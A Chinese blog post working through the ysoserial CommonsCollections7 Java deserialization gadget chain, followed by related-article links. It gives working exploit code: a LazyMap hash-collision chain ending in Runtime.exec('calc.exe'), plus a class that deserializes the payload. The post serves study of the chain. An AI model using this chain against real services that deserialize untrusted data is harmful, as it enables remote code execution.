java反序列化-ysoserial-调试分析总结篇(7)
前言:
CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞
yso构造分析:
首先构造进行rce所需要的转换链,这里也用的是chianed里面套Constantrans+invoketrans的方法
接着构造两个hashmap,通过lazymap的decorate用chained进行装饰后放进hashTable,这两个lazymap放进去的值也比较有讲究,要求计算出来的lazymap的hash相同
因为这里hashtable放进第二个lazymap时,因为两个lazymap的hash相同,所以将把第一个lazymap的key值yy放到第二个lazymap中(首先lazymap.get(‘yy’)尝试从第二个lazymap中拿),此时将导致lazymap2中新添加yy->processImpl键值对
为了让后面调用链时发生hash碰撞,所以这里要移除该键值对,为什么移除在后面调用链进行一个解释
调用链分析:
首先反序列化读出key和value,此时读出的key为lazymap,将重新装进hashtable中,这里调用reconstitutionPut,将会对key算一个hash和一个table的索引值,此时要判断是否该索引值处是否已经有元素,此时要判断已经放进的第一个lazymap的hash和当前key的hash是否相同,那么此时取出来的entry的key即为第一个lazymap,两个hash值是相同的,即
e.hash==hash,所以进入第二个判断两个lazymap是否完全相同
此时将调用AbstractMap的equals方法,入口参数值即为要放入的lazymap
此时将首先判断一下两个lazymap的大小一样不一样,因为之前构造payload的时候已经移除了第二个lazymap中yy->yy键值对,因此此时两个lazymap的空间大小一致都为1
此时遍历该map,首先将取出第一个lazymap中key和value为yy->1,如果value为null,则如果从第二个lazymap中取出该key的value不为null并且第二个lazymap包含该key,则判断两个lazymap不一样,但是这里value不为null,因此进入else判断,即判断两个lazymap的value是否相同,此时调用第二个lazymap的get函数,key即为yy
那么调用了lazymap.get,就又回到了我们之前的套路了,调用this.factory.transform
此时接着就是调用chainedtransformer的transform进行rce了
手动exp构造:
exp.java
- package CommonsCollections7;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.LazyMap;
- import java.io.*;
- import java.util.HashMap;
- import java.util.Hashtable;
- import java.util.Map;
- public class exp {
- public static void main(String[] args) throws IOException {
- Transformer[] trans = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",
- new Class[]{String.class,Class[].class},
- new Object[]{"getRuntime",new Class[0]}),
- new InvokerTransformer("invoke",
- new Class[]{Object.class,Object[].class},
- new Object[]{null,null}
- ),
- new InvokerTransformer("exec",
- new Class[]{String.class},
- new Object[]{"calc.exe"})
- };
- ChainedTransformer chain = new ChainedTransformer(trans);
- //构造两个hash值相同的lazymap
- Map innerMap1 = new HashMap();
- Map innerMap2 = new HashMap();
- Map lazyMap1 = LazyMap.decorate(innerMap1,chain);
- lazyMap1.put("yy",1);
- Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
- lazyMap2.put("zZ",1);
- Hashtable hashTable = new Hashtable();
- hashTable.put(lazyMap1,1);
- hashTable.put(lazyMap2,2);
- lazyMap2.remove("yy");
- //序列化
- File file;
- file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
- ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
- obj.writeObject(hashTable);
- }
- }
readObj.java
- package CommonsCollections7;
- import java.io.*;
- public class readObj {
- public static void main(String[] args) throws IOException, ClassNotFoundException {
- File file;
- file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
- ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
- obj.readObject();
- }
- }
java反序列化-ysoserial-调试分析总结篇(7)的更多相关文章
- java反序列化-ysoserial-调试分析总结篇(2)
前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...
- java反序列化-ysoserial-调试分析总结篇(6)
前言: 这篇记录CommonsCollections6的调试,外层也是新的类,换成了hashset,即从hashset触发其readObject(),yso给的调用链如下图所示 利用链分析: 首先在h ...
- java反序列化-ysoserial-调试分析总结篇(3)
前言: 这篇文章主要分析commoncollections3,这条利用链如yso描述,这个与cc1类似,只是反射调用方法是用的不是invokeTransformer而用的是InstantiateTra ...
- java反序列化-ysoserial-调试分析总结篇(4)
1.前言 这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了i ...
- java反序列化-ysoserial-调试分析总结篇(5)
前言: 这篇文章继续分析commonscollections5,由如下调用链可以看到此时最外层的类不是annotationinvoke,也不是priorityqueue了,变成了badattribut ...
- java反序列化——apache-shiro复现分析
本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...
- java集合源码分析几篇文章
java集合源码解析https://blog.csdn.net/ns_code/article/category/2362915
- ysoserial CommonsColletions1分析
JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...
- 浅谈java反序列化工具ysoserial
前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...
随机推荐
- Linux 运维命令及知识
1.查找当前目录下所有以.tar结尾的文件然后移动到指定目录: find . -name “*.tar” -exec mv {}./backup/ ; 注解:find –name 主要用于查找某个文件 ...
- 吴裕雄--天生自然python学习笔记:python 创建和操作Firebase实时数据库
Fire base 是专为移动开发提供的后端服务平台, Firebase 数据库与传统数据库不同,它不是用数据表来存储数据, 而是用 Key . Value 的字典型结构来存储数据,所以它不仅 是轻量 ...
- 吴裕雄--天生自然python学习笔记:python 用 Open CV抓取摄像头视频图像
Open CV 除了可以读取.显示静态图片外 , 还可 以加载及播放动态影片, 以 及 读取内置或外接摄像头的图像信息 . 很多笔记本电脑都具有摄像头 , OpenCV 可通过 VideoC aptu ...
- Flask的Jinja2模版过滤器
Jinja2模版过滤器 过滤器是通过管道符号(|)进行使用的,例如:{{ name|length }},将返回name的长度.过滤器相当于是一个函数,把当前的变量传入到过滤器中,然后过滤器根据自己的功 ...
- surprise库使用
自动交叉使用法 #-*- coding:utf-8 -*- from surprise import SVD from surprise import Dataset from surprise.mo ...
- 单独安装jenkins-没有tomcat
这里讲解war包的安装:windows的msi版安装很简单,双击即可,不用讲 1.官网下载 2. 3.把war包放到java目录下 4. 5.安装完成后打开:127.0.0.1:8080 输入密码后会 ...
- Contig|scaffold|N50|L50|NG50|贪心算法|de bruiji graph|
生物信息学 Contig是reads拼成的连续的DNA片段,连续表达一个gene.通过双端测序的contig可确定contig之间的关系得到scaffold,Scaffold是reads拼成的有gap ...
- cs231n spring 2017 lecture13 Generative Models
1. 非监督学习 监督学习有数据有标签,目的是学习数据和标签之间的映射关系.而无监督学习只有数据,没有标签,目的是学习数据额隐藏结构. 2. 生成模型(Generative Models) 已知训练数 ...
- java基础之异常 · fossi
在开发中,异常处理是一个不可绕开的话题,我们对于异常的处理已经非常熟练了,对于异常本身的概念.用法等不再赘述了,直接结合面试问题来加深对异常的理解吧. Throwable 可以用来表示任何可以作为异常 ...
- 吴裕雄--天生自然Android开发学习:1.2.1 使用Eclipse + ADT + SDK开发Android APP
1.前言 这里我们有两条路可以选,直接使用封装好的用于开发Android的ADT Bundle,或者自己进行配置 因为谷歌已经放弃了ADT的更新,官网上也取消的下载链接,这里提供谷歌放弃更新前最新版本 ...